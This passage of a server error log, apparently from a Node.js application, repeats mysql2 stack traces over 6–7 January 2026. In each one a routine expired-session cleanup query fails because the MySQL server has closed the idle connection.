    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 11:24:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 12:45:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 12:45:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 14:43:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 14:43:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 15:03:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 15:03:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 15:16:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 15:16:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 15:32:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 15:32:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 16:27:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 16:27:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 17:44:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 17:44:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 19:20:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 19:20:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 19:51:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 19:51:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 23:06:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 23:06:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 00:24:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 00:24:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 01:02:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 01:02:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 03:24:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 03:24:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 03:29:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 03:29:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 04:51:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 04:51:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 05:26:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 05:26:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 06:07:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 06:07:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 06:54:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 06:54:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 07:44:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 07:44:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 07:54:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
